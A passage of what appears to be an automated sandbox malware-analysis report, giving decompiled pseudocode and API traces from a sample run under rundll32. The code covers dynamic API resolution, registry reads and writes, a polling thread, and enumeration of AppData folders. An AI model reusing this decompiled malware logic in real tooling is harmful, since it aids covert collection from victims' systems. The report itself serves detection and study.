0x00fc44c1
0x00fc44ab
0x00fc449b
0x00fc4477
0x00fc4461

APIs

LoadLibraryA.KERNEL32(?,?,?,00FC3767), ref: 00FC443F
GetProcAddress.KERNEL32(00000000), ref: 00FC4458
GetProcAddress.KERNEL32(00000000), ref: 00FC446E
GetProcAddress.KERNEL32(00000000), ref: 00FC4484
GetProcAddress.KERNEL32(00000000), ref: 00FC4492
LoadLibraryA.KERNEL32(?,?,?,00FC3767), ref: 00FC44A7
GetProcAddress.KERNEL32(00000000), ref: 00FC44B8
LoadLibraryA.KERNEL32(?,?,?,00FC3767), ref: 00FC44CD
GetProcAddress.KERNEL32(00000000), ref: 00FC44E0
GetProcAddress.KERNEL32(00000000), ref: 00FC44F6
GetProcAddress.KERNEL32(00000000), ref: 00FC450C
GetProcAddress.KERNEL32(00000000), ref: 00FC4522
GetProcAddress.KERNEL32(00000000), ref: 00FC4538
LoadLibraryA.KERNEL32(?,?,?,00FC3767), ref: 00FC454D
GetProcAddress.KERNEL32(00000000), ref: 00FC4560
GetProcAddress.KERNEL32(00000000), ref: 00FC4576
GetProcAddress.KERNEL32(00000000), ref: 00FC458C
GetProcAddress.KERNEL32(00000000), ref: 00FC45A2
GetProcAddress.KERNEL32(00000000), ref: 00FC45B8
GetProcAddress.KERNEL32(00000000), ref: 00FC45CE
GetProcAddress.KERNEL32(00000000), ref: 00FC45E4
GetProcAddress.KERNEL32(00000000), ref: 00FC45FA
GetProcAddress.KERNEL32(00000000), ref: 00FC4610
GetProcAddress.KERNEL32(00000000), ref: 00FC4626
GetProcAddress.KERNEL32(00000000), ref: 00FC463C
GetProcAddress.KERNEL32(00000000), ref: 00FC4652

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ec2450a3f4b05c6ccf25d16a13ef7e60fe91bccaacfdcd84f885573760251aaa
Instruction ID: b8afb9be794c028836f6cffebfc12f7b4cf4e244bbd9cb3301b213c1a6c9d422
Opcode Fuzzy Hash: ec2450a3f4b05c6ccf25d16a13ef7e60fe91bccaacfdcd84f885573760251aaa
Instruction Fuzzy Hash: 0F61EB3290251FAA9B025B7AED51F2A7BBBE749314308802BE581E1574EF7AE451FF10

Uniqueness

Uniqueness Score: -1.00%

Function 00FC1490 Relevance: 36.2, APIs: 24, Instructions: 172
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00FC1490(CHAR* __ecx, CHAR* __edx, CHAR* _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16, CHAR* _a20, CHAR* _a24, CHAR* _a28, CHAR* _a32, CHAR* _a36, CHAR* _a40, CHAR* _a44, CHAR* _a48, CHAR* _a52, CHAR* _a56, CHAR* _a60, CHAR* _a64, CHAR* _a68, CHAR* _a72, CHAR* _a76, CHAR* _a80, CHAR* _a84) {
				char _v404;
				struct HINSTANCE__* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t27;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t30;
				_Unknown_base(*)()* _t31;
				_Unknown_base(*)()* _t32;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t34;
				_Unknown_base(*)()* _t35;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t37;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t40;
				_Unknown_base(*)()* _t41;
				_Unknown_base(*)()* _t42;
				_Unknown_base(*)()* _t43;
				_Unknown_base(*)()* _t44;
				_Unknown_base(*)()* _t45;
				_Unknown_base(*)()* _t46;
				signed int _t48;
				intOrPtr _t50;
				CHAR* _t55;
				struct HINSTANCE__* _t61;

				_t55 = __edx;
				if( *0xfd76f0 == 0) {
					_t23 = LoadLibraryA(__ecx); // executed
					_t61 = _t23;
					if(_t61 == 0) {
						L26:
						return 0;
					} else {
						_t25 = GetProcAddress(_t61, _t55);
						 *0xfd76ec = _t25;
						if(_t25 == 0) {
							goto L26;
						} else {
							_t26 = GetProcAddress(_t61, _a4);
							 *0xfd7704 = _t26;
							if(_t26 == 0) {
								goto L26;
							} else {
								_t27 = GetProcAddress(_t61, _a8);
								 *0xfd76d4 = _t27;
								if(_t27 == 0) {
									goto L26;
								} else {
									_t28 = GetProcAddress(_t61, _a12);
									 *0xfd76e0 = _t28;
									if(_t28 == 0) {
										goto L26;
									} else {
										_t29 = GetProcAddress(_t61, _a16);
										 *0xfd76dc = _t29;
										if(_t29 == 0) {
											goto L26;
										} else {
											_t30 = GetProcAddress(_t61, _a20);
											 *0xfd76f8 = _t30;
											if(_t30 == 0) {
												goto L26;
											} else {
												_t31 = GetProcAddress(_t61, _a24);
												 *0xfd7724 = _t31;
												if(_t31 == 0) {
													goto L26;
												} else {
													_t32 = GetProcAddress(_t61, _a28);
													 *0xfd76f4 = _t32;
													if(_t32 == 0) {
														goto L26;
													} else {
														_t33 = GetProcAddress(_t61, _a32);
														 *0xfd7714 = _t33;
														if(_t33 == 0) {
															goto L26;
														} else {
															_t34 = GetProcAddress(_t61, _a36);
															 *0xfd7720 = _t34;
															if(_t34 == 0) {
																goto L26;
															} else {
																_t35 = GetProcAddress(_t61, _a40);
																 *0xfd7708 = _t35;
																if(_t35 == 0) {
																	goto L26;
																} else {
																	_t36 = GetProcAddress(_t61, _a44);
																	 *0xfd76d8 = _t36;
																	if(_t36 == 0) {
																		goto L26;
																	} else {
																		_t37 = GetProcAddress(_t61, _a48);
																		 *0xfd772c = _t37;
																		if(_t37 == 0) {
																			goto L26;
																		} else {
																			_t38 = GetProcAddress(_t61, _a52);
																			 *0xfd7718 = _t38;
																			if(_t38 == 0) {
																				goto L26;
																			} else {
																				_t39 = GetProcAddress(_t61, _a56);
																				 *0xfd7710 = _t39;
																				if(_t39 == 0) {
																					goto L26;
																				} else {
																					_t40 = GetProcAddress(_t61, _a60);
																					 *0xfd771c = _t40;
																					if(_t40 == 0) {
																						goto L26;
																					} else {
																						_t41 = GetProcAddress(_t61, _a64);
																						 *0xfd76e4 = _t41;
																						if(_t41 == 0) {
																							goto L26;
																						} else {
																							_t42 = GetProcAddress(_t61, _a68);
																							 *0xfd76e8 = _t42;
																							if(_t42 == 0) {
																								goto L26;
																							} else {
																								_t43 = GetProcAddress(_t61, _a72);
																								 *0xfd7728 = _t43;
																								if(_t43 == 0) {
																									goto L26;
																								} else {
																									_t44 = GetProcAddress(_t61, _a76);
																									 *0xfd770c = _t44;
																									if(_t44 == 0) {
																										goto L26;
																									} else {
																										_t45 = GetProcAddress(_t61, _a80);
																										 *0xfd76fc = _t45;
																										if(_t45 == 0) {
																											goto L26;
																										} else {
																											_t46 = GetProcAddress(_t61, _a84);
																											 *0xfd7700 = _t46;
																											if(_t46 == 0) {
																												goto L26;
																											} else {
																												_t48 =  *0xfd76ec(0x101,  &_v404); // executed
																												asm("sbb eax, eax");
																												_t50 =  ~_t48 + 1;
																												 *0xfd76f0 = _t50;
																												return _t50;
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				} else {
					return 1;
				}
			}

0x00fc14a5
0x00fc14a7
0x00fc14b5
0x00fc14bb
0x00fc14bf
0x00fc166f
0x00fc1676
0x00fc14c5
0x00fc14cd
0x00fc14cf
0x00fc14d6
0x00000000
0x00fc14dc
0x00fc14e0
0x00fc14e2
0x00fc14e9
0x00000000
0x00fc14ef
0x00fc14f3
0x00fc14f5
0x00fc14fc
0x00000000
0x00fc1502
0x00fc1506
0x00fc1508
0x00fc150f
0x00000000
0x00fc1515
0x00fc1519
0x00fc151b
0x00fc1522
0x00000000
0x00fc1528
0x00fc152c
0x00fc152e
0x00fc1535
0x00000000
0x00fc153b
0x00fc153f
0x00fc1541
0x00fc1548
0x00000000
0x00fc154e
0x00fc1552
0x00fc1554
0x00fc155b
0x00000000
0x00fc1561
0x00fc1565
0x00fc1567
0x00fc156e
0x00000000
0x00fc1574
0x00fc1578
0x00fc157a
0x00fc1581
0x00000000
0x00fc1587
0x00fc158b
0x00fc158d
0x00fc1594
0x00000000
0x00fc159a
0x00fc159e
0x00fc15a0
0x00fc15a7
0x00000000
0x00fc15ad
0x00fc15b1
0x00fc15b3
0x00fc15ba
0x00000000
0x00fc15c0
0x00fc15c4
0x00fc15c6
0x00fc15cd
0x00000000
0x00fc15d3
0x00fc15d7
0x00fc15d9
0x00fc15e0
0x00000000
0x00fc15e6
0x00fc15ea
0x00fc15ec
0x00fc15f3
0x00000000
0x00fc15f5
0x00fc15f9
0x00fc15fb
0x00fc1602
0x00000000
0x00fc1604
0x00fc1608
0x00fc160a
0x00fc1611
0x00000000
0x00fc1613
0x00fc1617
0x00fc1619
0x00fc1620
0x00000000
0x00fc1622
0x00fc1626
0x00fc1628
0x00fc162f
0x00000000
0x00fc1631
0x00fc1635
0x00fc1637
0x00fc163e
0x00000000
0x00fc1640
0x00fc1644
0x00fc1646
0x00fc164d
0x00000000
0x00fc164f
0x00fc1659
0x00fc1661
0x00fc1663
0x00fc1664
0x00fc166e
0x00fc166e
0x00fc164d
0x00fc163e
0x00fc162f
0x00fc1620
0x00fc1611
0x00fc1602
0x00fc15f3
0x00fc15e0
0x00fc15cd
0x00fc15ba
0x00fc15a7
0x00fc1594
0x00fc1581
0x00fc156e
0x00fc155b
0x00fc1548
0x00fc1535
0x00fc1522
0x00fc150f
0x00fc14fc
0x00fc14e9
0x00fc14d6
0x00fc14a9
0x00fc14b3
0x00fc14b3

APIs

LoadLibraryA.KERNELBASE(00FD98D1,00000000,74714EE0), ref: 00FC14B5
GetProcAddress.KERNEL32(00000000,00FD98DC), ref: 00FC14CD
GetProcAddress.KERNEL32(00000000,00000064), ref: 00FC14E0
GetProcAddress.KERNEL32(00000000,?), ref: 00FC14F3
GetProcAddress.KERNEL32(00000000,?), ref: 00FC1506
GetProcAddress.KERNEL32(00000000,?), ref: 00FC1519
GetProcAddress.KERNEL32(00000000,?), ref: 00FC152C
GetProcAddress.KERNEL32(00000000,?), ref: 00FC153F
GetProcAddress.KERNEL32(00000000,?), ref: 00FC1552
GetProcAddress.KERNEL32(00000000,?), ref: 00FC1565
GetProcAddress.KERNEL32(00000000,?), ref: 00FC1578
GetProcAddress.KERNEL32(00000000,?), ref: 00FC158B
GetProcAddress.KERNEL32(00000000,?), ref: 00FC159E
GetProcAddress.KERNEL32(00000000,?), ref: 00FC15B1
GetProcAddress.KERNEL32(00000000,?), ref: 00FC15C4
GetProcAddress.KERNEL32(00000000,?), ref: 00FC15D7
GetProcAddress.KERNEL32(00000000,?), ref: 00FC15EA

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: c47ddaafdccf6af76e051e0d250451943f9bbced7db34f22fc3c0a6ce1ebf68e
Instruction ID: 763e310d082337e5fce9b1e63ef5607f1ff3d040dcb56e85ea92a54bb2049e9f
Opcode Fuzzy Hash: c47ddaafdccf6af76e051e0d250451943f9bbced7db34f22fc3c0a6ce1ebf68e
Instruction Fuzzy Hash: 2D518631516B1F6A8B127F7A9D11E9ABBEEBF4635070811ABF900C1160FB72C420BF65

Uniqueness

Uniqueness Score: -1.00%

Function 00FC7540 Relevance: 15.1, APIs: 10, Instructions: 127
registrysleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00FC7540(void* __ebp, intOrPtr _a4) {
				int _v4;
				int _v8;
				void* _v12;
				long _t18;
				int _t21;
				void* _t22;
				void* _t30;
				int _t34;
				char* _t35;
				int _t36;
				void* _t37;
				int _t38;
				intOrPtr _t39;
				void* _t41;
				char* _t42;

				_t41 = __ebp;
				E00FC10D0(0xfd6608, 0, 0x100);
				_t35 =  *0xfd6bb8; // 0xfd9df2
				_v8 = 0x100;
				_t18 = RegOpenKeyExA(0x80000001,  *0xfd6bac, 0, 1,  &_v12); // executed
				if(_t18 != 0) {
					L3:
					E00FC7390(_t30);
					if( *0xfd6608 == 0) {
						_t36 =  *0xfd65f8; // 0x0
					} else {
						_t36 = lstrlenA(0xfd6608);
						 *0xfd65f8 = _t36;
						if(_t36 < 0x100) {
							if(_t36 > 2) {
								goto L7;
							}
						} else {
							_t36 = 0x100;
							 *0xfd65f8 = 0x100;
							L7:
							if( *((char*)(_t36 + 0xfd6606)) == 0xd &&  *((char*)(_t36 + 0xfd6607)) == 0xa) {
								 *((char*)(_t36 + 0xfd6606)) = 0;
								_t36 = _t36 - 2;
								 *0xfd65f8 = _t36;
							}
						}
					}
					_push(_t41);
					_t42 =  *0xfd6bb8; // 0xfd9df2
					_t21 = RegOpenKeyExA(0x80000001,  *0xfd6bac, 0, 2,  &_v12);
					if(_t21 == 0) {
						RegSetValueExA(_v12, _t42, _t21, 3, 0xfd6608, _t36);
						_t21 = RegCloseKey(_v12);
					}
				} else {
					_v4 = 3;
					RegQueryValueExA(_v12, _t35, 0,  &_v4, 0xfd6608,  &_v8); // executed
					asm("sbb esi, esi");
					RegCloseKey(_v12);
					if( &(_t35[1]) == 0) {
						goto L3;
					} else {
						_t21 = _v8;
						 *0xfd65f8 = _t21;
					}
				}
				if(_a4 == 0 ||  *0xfd6608 == 0) {
					L24:
					return _t21;
				} else {
					_t37 = 0;
					while( *0xfd65ec == 0) {
						Sleep(0x3e8);
						_t37 = _t37 + 0x3e8;
						if(_t37 < 0xffffffff) {
							continue;
						} else {
							return _t21;
						}
						goto L25;
					}
					_t38 =  *0xfd65f8; // 0x0
					_t39 = _t38 + 1;
					if( *0xfd672c != 0 && _t39 != 0) {
						_t21 = E00FC11D0(_t39);
						_t34 = _t21;
						if(_t34 != 0) {
							_t22 = E00FC1000(_t34, 0xfd6608, _t39);
							EnterCriticalSection(0xfd6714);
							 *0xfd6708 = 0xf;
							 *0xfd670d = _t39;
							 *0xfd6709 = _t34;
							LeaveCriticalSection(0xfd6714);
							return _t22;
						}
					}
					goto L24;
				}
				L25:
			}

0x00fc7540
0x00fc7551
0x00fc7556
0x00fc7569
0x00fc7581
0x00fc7585
0x00fc75cc
0x00fc75cc
0x00fc75d8
0x00fc762b
0x00fc75da
0x00fc75e5
0x00fc75e7
0x00fc75f3
0x00fc7605
0x00000000
0x00000000
0x00fc75f5
0x00fc75f5
0x00fc75fa
0x00fc7607
0x00fc760e
0x00fc7619
0x00fc7620
0x00fc7623
0x00fc7623
0x00fc760e
0x00fc75f3
0x00fc7631
0x00fc7632
0x00fc764c
0x00fc7650
0x00fc7660
0x00fc766a
0x00fc766a
0x00fc7587
0x00fc758b
0x00fc75a5
0x00fc75b1
0x00fc75b3
0x00fc75bc
0x00000000
0x00fc75be
0x00fc75be
0x00fc75c2
0x00fc75c2
0x00fc75bc
0x00fc7676
0x00fc7712
0x00fc7712
0x00fc7689
0x00fc768f
0x00fc7691
0x00fc769f
0x00fc76a1
0x00fc76aa
0x00000000
0x00fc76b1
0x00fc76b1
0x00fc76b1
0x00000000
0x00fc76aa
0x00fc76b4
0x00fc76ba
0x00fc76c2
0x00fc76ca
0x00fc76cf
0x00fc76d3
0x00fc76dc
0x00fc76e9
0x00fc76f4
0x00fc76fb
0x00fc7701
0x00fc7707
0x00000000
0x00fc7707
0x00fc76d3
0x00000000
0x00fc76c2
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000001,00FD6608), ref: 00FC7581
RegQueryValueExA.KERNELBASE(?,00FD9DF2,00000000,?,00FD6608,00000100), ref: 00FC75A5
RegCloseKey.ADVAPI32(?), ref: 00FC75B3
lstrlenA.KERNEL32(00FD6608), ref: 00FC75DF
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000002,00000100), ref: 00FC764C
RegSetValueExA.ADVAPI32(?,00FD9DF2,00000000,00000003,00FD6608,00000000), ref: 00FC7660
RegCloseKey.ADVAPI32(00000100), ref: 00FC766A
Sleep.KERNEL32(000003E8), ref: 00FC769F
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC76E9
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC7707

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CloseCriticalOpenSectionValue$EnterLeaveQuerySleeplstrlen
String ID:
API String ID: 940604332-0
Opcode ID: 864431d960dce96cc75d1af6e2322f66ee285b9b175585913f88c56e267f50b0
Instruction ID: 85b1af8a36e35c035f06b40ae3c46d1fca4c25e246c1e69719a433606572035e
Opcode Fuzzy Hash: 864431d960dce96cc75d1af6e2322f66ee285b9b175585913f88c56e267f50b0
Instruction Fuzzy Hash: B3413B7184530AABD711AB28ED07F5A7BA6AB44714F04403FF954D71E1C7709888FF91

Uniqueness

Uniqueness Score: -1.00%

Function 00FC7720 Relevance: 3.0, APIs: 2, Instructions: 19
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00FC7720() {
				void* _t2;
				DWORD* _t6;

				_t2 = CreateThread(0, 0, E00FC7540, 1, 0, _t6); // executed
				if(_t2 == 0) {
					return 0;
				} else {
					CloseHandle(_t2);
					return 1;
				}
			}

0x00fc7732
0x00fc773a
0x00fc774d
0x00fc773c
0x00fc773d
0x00fc7749
0x00fc7749

APIs

CreateThread.KERNELBASE ref: 00FC7732
CloseHandle.KERNEL32(00000000,?,00FC39F8), ref: 00FC773D

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CloseCreateHandleThread
String ID:
API String ID: 3032276028-0
Opcode ID: bbbd0b8415afaaefa05d88ff6208ebf503744478ee9a148121044c6c635dae9d
Instruction ID: b3bd3013ffc1d621f8f686012fc89888d7aa5b3e33c1207c5eff99aeb26df371
Opcode Fuzzy Hash: bbbd0b8415afaaefa05d88ff6208ebf503744478ee9a148121044c6c635dae9d
Instruction Fuzzy Hash: A5D0C77135830566FA2457619D4BF56725DDB00B12F240469B507E54C0D695D444A915

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00FC7390 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 131
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00FC7390(void* __ecx) {
				struct _WIN32_FIND_DATAW _v636;
				short _v1136;
				short _v1156;
				int _t34;
				signed int _t36;
				signed int _t46;
				void* _t61;
				void* _t65;
				WCHAR* _t69;
				intOrPtr _t71;
				intOrPtr _t72;
				void* _t74;
				void* _t77;
				void* _t78;
				intOrPtr* _t79;
				void* _t82;
				signed int _t84;
				WCHAR* _t85;
				short* _t86;
				signed int _t87;
				void* _t89;
				void* _t90;
				void* _t91;

				_t65 = __ecx;
				_t89 = (_t87 & 0xfffffff8) - 0x458;
				_t79 = __imp__SHGetFolderPathW;
				_t34 =  *_t79(0, 0x1c, 0, 0, _t89, _t74, _t78, _t82, _t61);
				if(_t34 != 0) {
					L12:
					return _t34;
				}
				_t36 = lstrlenW( &_v1136);
				_t71 =  *0xfd682c; // 0xfd7f5c
				_t84 = _t36;
				_push(_t65);
				_push( *0xfd6be0);
				_push(0x20);
				_push(0xfd51c0);
				E00FC72A0(_t71);
				_t90 = _t89 + 0x10;
				_t34 = lstrlenA(0xfd6608);
				if(_t34 > 0xce) {
					goto L12;
				}
				_t72 =  *0xfd688c; // 0xfd81cc
				_push( &_v1136);
				_push( *0xfd6be4);
				 *((short*)(_t90 + 0x18 + _t84 * 2)) = 0;
				_push(9);
				_push(0xfd5240);
				E00FC72A0(_t72);
				_t91 = _t90 + 0x10;
				_t34 = lstrlenA(0xfd6608);
				if(_t34 > 0xce) {
					goto L12;
				}
				_t34 =  *_t79(0, 0x1a, 0, 0,  &_v1136);
				if(_t34 != 0) {
					goto L12;
				}
				lstrcatW( &_v1156,  *0xfd68a4);
				lstrcatW( &_v1156,  *0xfd68ac);
				_t46 = lstrlenW( &_v1156);
				_t85 =  &_v1156;
				 *((intOrPtr*)(_t85 + _t46 * 2 - 2)) = 0x2a005c;
				_t86 = _t85 + _t46 * 2;
				 *((short*)(_t91 + 0x12 + _t46 * 2)) = 0;
				_t34 = FindFirstFileW( &_v1156,  &_v636);
				_t77 = _t34;
				if(_t77 == 0) {
					goto L12;
				}
				do {
					if((_v636.dwFileAttributes & 0x00000010) != 0 && _v636.cFileName != 0x2e) {
						 *_t86 = 0;
						lstrcatW( &_v1156,  &(_v636.cFileName));
						lstrcatW( &_v1156,  *0xfd68c8);
						lstrcatW( &_v1156, "\\");
						_t69 =  &_v1156;
						if(E00FC1430(_t69) != 0) {
							_push(_t69);
							E00FC7180( &_v1156, 0, 0xfd5190, 0xb,  *0xfd6be8);
							_t91 = _t91 + 0x10;
						}
					}
				} while (FindNextFileW(_t77,  &_v636) != 0);
				_t34 = FindClose(_t77);
				goto L12;
			}

0x00fc7390
0x00fc7396
0x00fc73a2
0x00fc73b2
0x00fc73b6
0x00fc7536
0x00fc753d
0x00fc753d
0x00fc73c7
0x00fc73c9
0x00fc73cf
0x00fc73d1
0x00fc73d2
0x00fc73dc
0x00fc73de
0x00fc73e3
0x00fc73ee
0x00fc73f6
0x00fc73fd
0x00000000
0x00000000
0x00fc7403
0x00fc740b
0x00fc740c
0x00fc7416
0x00fc741b
0x00fc741d
0x00fc7422
0x00fc7427
0x00fc742f
0x00fc7436
0x00000000
0x00000000
0x00fc7449
0x00fc744d
0x00000000
0x00000000
0x00fc7464
0x00fc7471
0x00fc7478
0x00fc747c
0x00fc7480
0x00fc7488
0x00fc748c
0x00fc749e
0x00fc74a4
0x00fc74a8
0x00000000
0x00000000
0x00fc74b4
0x00fc74bc
0x00fc74cb
0x00fc74dc
0x00fc74e9
0x00fc74f5
0x00fc74f7
0x00fc7502
0x00fc7504
0x00fc7518
0x00fc751d
0x00fc751d
0x00fc7502
0x00fc752b
0x00fc7530
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,0000001C,00000000,00000000,00000000,76B2F420,00FD9DF2), ref: 00FC73B2
lstrlenW.KERNEL32(?), ref: 00FC73C7

Part of subcall function 00FC72A0: lstrcatW.KERNEL32(?,00FD7F5C), ref: 00FC72B5
Part of subcall function 00FC72A0: lstrcatW.KERNEL32(?), ref: 00FC72BE
Part of subcall function 00FC72A0: lstrlenW.KERNEL32(?), ref: 00FC72C7
Part of subcall function 00FC72A0: lstrcatW.KERNEL32(?), ref: 00FC72D5
Part of subcall function 00FC72A0: lstrcatW.KERNEL32(?), ref: 00FC72E1
Part of subcall function 00FC72A0: lstrcatW.KERNEL32(?), ref: 00FC731C
Part of subcall function 00FC72A0: lstrlenW.KERNEL32(?), ref: 00FC731F
Part of subcall function 00FC72A0: lstrcatW.KERNEL32(?), ref: 00FC732A
Part of subcall function 00FC72A0: GetFileAttributesW.KERNEL32(?), ref: 00FC7345

lstrlenA.KERNEL32(00FD6608), ref: 00FC73F6
lstrlenA.KERNEL32(00FD6608), ref: 00FC742F
SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00FC7449
lstrcatW.KERNEL32(?), ref: 00FC7464
lstrcatW.KERNEL32(?), ref: 00FC7471
lstrlenW.KERNEL32(?), ref: 00FC7478
FindFirstFileW.KERNEL32(?,?), ref: 00FC749E
lstrcatW.KERNEL32(?,0000002E), ref: 00FC74DC
lstrcatW.KERNEL32(?), ref: 00FC74E9
lstrcatW.KERNEL32(?,00FCF404), ref: 00FC74F5

Part of subcall function 00FC1430: GetFileAttributesW.KERNEL32(?,00FC7500), ref: 00FC1431

Part of subcall function 00FC7180: lstrlenW.KERNEL32(?,747169A0,00000000,747582B0,?,?,?,?,?,?,?,?,00FC72FC,?,?,?), ref: 00FC7193
Part of subcall function 00FC7180: lstrcatW.KERNEL32(?,00000000), ref: 00FC71D0
Part of subcall function 00FC7180: GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00FC72FC,?,?,?), ref: 00FC71D7
Part of subcall function 00FC7180: lstrcpyA.KERNEL32(?,?), ref: 00FC722C
Part of subcall function 00FC7180: lstrcatA.KERNEL32(?,7476F9C0), ref: 00FC723C
Part of subcall function 00FC7180: lstrcatA.KERNEL32(?,00FCF400), ref: 00FC725A
Part of subcall function 00FC7180: lstrcatA.KERNEL32(00FD6608,00000000), ref: 00FC7266

FindNextFileW.KERNEL32(00000000,00000010), ref: 00FC7529
FindClose.KERNEL32(00000000), ref: 00FC7530

Strings

., xrefs: 00FC74BE

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: lstrcat$lstrlen$File$AttributesFind$FolderPath$CloseFirstNextlstrcpy
String ID: .
API String ID: 530207068-248832578
Opcode ID: b454edec4a012bba9e4b12605d9c51544984bfde926db076bca22e9a4d56d572
Instruction ID: 06e91969f705967d1b08ffbb523f740f62b0dac3192debc27c664337d85c8869
Opcode Fuzzy Hash: b454edec4a012bba9e4b12605d9c51544984bfde926db076bca22e9a4d56d572
Instruction Fuzzy Hash: 5341847154830EABD720EB64DD46FABB7ADEF84710F04082EF544D31A1E771E509ABA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FC3AA0 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 202
filestringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00FC3AA0(WCHAR* __ecx, intOrPtr __edx) {
				int _t76;
				signed int _t77;
				short* _t82;
				short* _t88;
				intOrPtr* _t91;
				int _t93;
				signed int _t103;
				WCHAR* _t117;
				WCHAR* _t118;
				intOrPtr* _t119;
				WCHAR* _t120;
				signed int _t135;
				WCHAR* _t140;
				signed int* _t142;
				WCHAR** _t143;
				signed int _t144;
				signed int _t145;
				intOrPtr* _t146;
				void* _t147;
				intOrPtr* _t148;
				void* _t149;
				void* _t150;
				void* _t151;

				_t140 = __ecx;
				 *((intOrPtr*)(_t149 + 0x18)) = __edx;
				 *((intOrPtr*)(_t149 + 0x20)) = __ecx;
				_t76 = GetFileAttributesW(__ecx);
				if(_t76 == 0xffffffff || (_t76 & 0x00000010) == 0) {
					L36:
					return _t76;
				} else {
					_t77 = lstrlenW(_t140);
					_t148 =  *((intOrPtr*)(_t149 + 0x69c));
					_t144 = _t77;
					 *(_t149 + 0x14) = _t144;
					if(_t148 == 0 || _t140 == 0) {
						L16:
						E00FC1000(_t149 + 0x274, _t140, _t144 + _t144);
						_t118 =  *(_t149 + 0x24);
						_t82 = _t149 + 0x27e + _t144 * 2;
						_t150 = _t149 + 0xc;
						 *((intOrPtr*)(_t150 + 0x14)) = _t82;
						 *_t82 = 0x2a;
						 *((short*)(_t150 + 0x270 + _t144 * 2)) = 0x5c;
						 *((short*)(_t150 + 0x278 + _t144 * 2)) = 0;
